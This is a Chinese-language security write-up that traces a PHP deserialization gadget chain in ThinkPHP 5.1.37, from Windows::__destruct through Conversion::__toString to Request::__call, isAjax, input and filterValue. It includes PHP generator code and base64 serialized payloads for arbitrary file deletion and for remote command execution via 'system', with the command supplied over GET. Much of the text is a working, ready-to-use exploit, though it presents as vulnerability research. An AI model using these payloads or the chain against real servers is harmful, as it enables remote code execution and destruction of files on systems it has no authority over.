環境搭建
Thinkphp 5.1.37 ----- 應該是5.1.x可以
php 7.0.12
composer create-project topthink/think=5.1.37 v5.1.37
鋪墊知識
1. PHP反序列化原理
PHP反序列化就是在讀取一段字符串然後將字符串反序列化成php對象。
2. 在PHP反序列化的過程中會自動執行一些魔術方法
方法名 ---------------調用條件
__call 調用不可訪問或不存在的方法時被調用
__callStatic 調用不可訪問或不存在的靜態方法時被調用
__clone 進行對象clone時被調用,用來調整對象的克隆行爲
__constuct 構建對象的時被調用;
__debuginfo 當調用var_dump()打印對象時被調用(當你不想打印所有屬性)適用於PHP5.6版本
__destruct 明確銷燬對象或腳本結束時被調用;
__get 讀取不可訪問或不存在屬性時被調用
__invoke 當以函數方式調用對象時被調用
__isset 對不可訪問或不存在的屬性調用isset()或empty()時被調用
__set 當給不可訪問或不存在屬性賦值時被調用
__set_state 當調用var_export()導出類時,此靜態方法被調用。用__set_state的返回值做爲var_export的返回值。
__sleep 當使用serialize時被調用,當你不需要保存大對象的所有數據時很有用
__toString 當一個類被轉換成字符串時被調用
__unset 對不可訪問或不存在的屬性進行unset時被調用
__wakeup 當使用unserialize時被調用,可用於做些對象的初始化操作
3. 反序列化的常見起點
__wakeup 一定會調用
__destruct 一定會調用
__toString 當一個對象被反序列化後又被當做字符串使用
4.反序列化的常見中間跳板:
__toString 當一個對象被當做字符串使用
__get 讀取不可訪問或不存在屬性時被調用
__set 當給不可訪問或不存在屬性賦值時被調用
__isset 對不可訪問或不存在的屬性調用isset()或empty()時被調用
形如 $this->$func();
5.反序列化的常見終點:
__call 調用不可訪問或不存在的方法時被調用
call_user_func 一般php代碼執行都會選擇這裏
call_user_func_array 一般php代碼執行都會選擇這裏
6.Phar反序列化原理以及特徵
phar://僞協議會在多個函數中反序列化其metadata部分
受影響的函數包括不限於如下:
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo
漏洞起點
漏洞起點在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函數。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
__destruct()裏面調用了兩個函數,我們跟進removeFiles()函數。
這裏看到 unlink函數
這裏同時也存在一個任意文件刪除的漏洞,Payload構造: 必須使用namespace設置命名空間!
<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];
}
}
echo base64_encode(serialize(new Windows()));
輸出結果
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=
這裏只需要一個反序列化漏洞的觸發點,便可以實現任意文件刪除。
自行構造一個利用點,試用一下
復現成功
rce部分起點
在removeFiles()中使用了file_exists對 filename進行了處理。$filename會被作爲字符串處理。
而__toString 當一個對象被反序列化後又被當做字符串使用時會被觸發,我們通過傳入一個對象來觸發__toString 方法。我們全局搜索__toString方法。
這裏我們選擇 \thinkphp\library\think\model\concern\Conversion.php
Conversion類的第224行, 這裏調用了一個toJson()方法。
\thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
跟進toJson()方法
\thinkphp\library\think\model\concern\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
繼續toArray()方法
thinkphp\library\think\model\concern\Conversion.php
- 目的
我們需要在toArray()函數中尋找一個滿足$可控變量->方法(參數可控)
的點
- 首先,這裏調用了一個getRelation方法。
- 我們跟進getRelation(),它位於Attribute類中
thinkphp\library\think\model\concern\Conversion.php
這裏調用了getRelation方法,跟入後得到代碼:
thinkphp\library\think\model\concern\Conversion.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
由於getRelation()下面的if語句爲if (!$relation),所以這裏不用理會,返回空即可。
然後調用了getAttr方法,我們跟進getAttr方法
thinkphp\library\think\model\concern\Conversion.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
....
.....
return $value;
繼續跟進getData方法
thinkphp\library\think\model\concern\Attribute.php
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
通過查看getData函數我們可以知道this->data[$name],需要注意的一點是這裏類的定義使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 實現了一種代碼複用的方法,稱爲 trait。通過在類中使用use
關鍵字,聲明要組合的Trait名稱。所以,這裏類的繼承要使用use關鍵字。然後我們需要找到一個子類同時繼承了Attribute類和Conversion類。
我們可以在\thinkphp\library\think\Model.php中找到這樣一個類
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
我們梳理一下目前我們需要控制的變量
- $files位於類Windows
- $append位於類Conversion
- $data位於類Attribute
引用大佬的圖,簡單的看一下,後面還有梳理
代碼執行點分析
這裏的$this->append
是我們可控的(在conversion中),然後通過getRelation($key)
,但是下面有一個!$relation
,所以我們只要置空即可
然後調用getAttr($key)
,在調用getData($name)
函數,這裏$this->data['name']
我們可控(在attribute中)
$relation
變量來自 $this->data[$name]
$name
變量來自 $this->append
之後回到toArray函數,通過這一句話$relation->visible($name);
我們控制$relation
爲一個類對象,調用不存在的visible方法,會自動調用__call
方法,那麼我們找到一個類對象沒有visible方法
我們現在缺少一個進行代碼執行的點,在這個類中需要沒有visible方法。並且最好存在__call方法。
因爲__call一般會存在__call_user_func和__call_user_func_array,php代碼執行的終點經常選擇這裏。我們不止一次在Thinkphp的rce中見到這兩個方法。
可以在/thinkphp/library/think/Request.php,找到一個__call函數。__call 調用不可訪問或不存在的方法時被調用。
下面是引用大佬的圖,很清晰的鏈條
call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);
找到
/thinkphp/library/think/Request.php
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....
$hook
這裏是可控的,所以call_user_func_array(array(任意類,任意方法),$args)
,這樣我們就可以調用任意類的任意方法了。,但是array_unshift()
向數組插入新元素時會將新數組的值將被插入到數組的開頭,$args
第一個值不能夠控制。這種情況下我們是構造不出可用的payload的。由於$args第一個值不能夠控制,但是構造不出來參數可用的payload,因爲第一個參數是$this對象
call_user_func_array(array(任意類,任意方法),$args)
,這樣我們就可以調用任意類的任意方法了。
雖然第330行用 array_unshift 函數把本類對象 $this 放在數組變量 $args 的第一個,但是我們可以尋找不受這個參數影響的方法
ThinkPHP 歷史 RCE 漏洞的人可能知道, think\Request 類的 input 方法經常是,相當於 call_user_func($filter,$data)
。但是前面, $args
數組變量的第一個元素,是一個固定死的類對象,所以這裏我們不能直接調用 input 方法,而應該尋找調用 input 的方法。
最終產生rce的地方是在input函數當中
在input函數中有一個 $this->filterValue($data, $name, $filter);
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調用函數或者方法過濾
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
但是這裏的$value不能自己進行控制,所以需要往上找可以控制value的地方,共發現以下函數:
- cookie
- input 但是這裏的input參數並不是可控的:
....
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 獲取原始數據
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析過濾器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
這裏$filter
可控,data參數不可控,而且$name = (string) $name;
這裏如果直接調用input的話,執行到這一句的時候會報錯,直接退出,所以繼續回溯,目的是要找到可以控制$name變量,使之最好是字符串。同時也要找到能控制data參數
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
我們繼續找一個調用input函數的地方。我們找到了param函數。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自動獲取請求變量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 當前請求參數和URL地址中的參數合併
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 獲取包含文件上傳信息的數組
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
可以看到這裏this->param完全可控,是通過get傳參數進去的,那麼也就是說input函數中的$data
參數可控,也就是call_user_func
的$value,
現在差一個條件,那就是name是字符串,繼續回溯。
這裏仍然是不可控的,所以我們繼續找調用param函數的地方。找到了isAjax函數
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在isAjax函數中,我們可以控制$this->config['var_ajax']
,$this->config['var_ajax']
可控就意味着param函數中的name可控就意味着input函數中的$name可控。
可以導致RCE
回溯一下
param()函數 可以獲得$_GET
數組並賦值給$this->param
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
array_merge()數組合並起來
這句代碼會將$_GET
數組賦值到$this->param中,在往下執行就來到了:
return $this->input($this->param, $name, $default, $filter);
再回到input函數中
$data = $this->getData($data, $name);
$name
的值來自於$this->config['var_ajax']
,我們跟進getData函數。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
\\
這裏$data
直接等於 $data
= $data[$val]
= $data[$name]
然後就是解析過濾器,跟進getFilter函數
$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
就是$filter可控
最後回到input函數 關鍵代碼
最後導致RCE的代碼
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調用函數或者方法過濾
$value = call_user_func($filter, $value);
- filterValue.value = 第一個通過GET請求的值input.data
- filters.key = 第一個GET的鍵
- filters.filters = input.filters
上大佬的圖
總的利用鏈
到這裏思路有了,回過頭來看我們poc的利用過程,首先在上一步toArray()方法。創建了一個Request()對象,然後會觸發poc裏的__construct()方法,接着new Request()-> visible($name),該對象調用了一個不存在的方法會觸發__call方法,看一下__construct()方法內容
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
最終POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["zeo"=>["calc.exe","calc"]];
$this->data = ["zeo"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單請求類型僞裝變量
'var_method' => '_method',
// 表單ajax僞裝變量
'var_ajax' => '_ajax',
// 表單pjax僞裝變量
'var_pjax' => '_pjax',
// PATHINFO變量名 用於兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO獲取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認全局過濾方法 用逗號分隔多個
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理標識
'https_agent_name' => '',
// IP代理獲取標識
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL僞靜態後綴
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
我們把payload通過POST傳過去,然後通過GET請求獲取需要執行的命令
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
復現成功
參考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
https://blog.csdn.net/qq_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php?tid=52825&extra=&page=1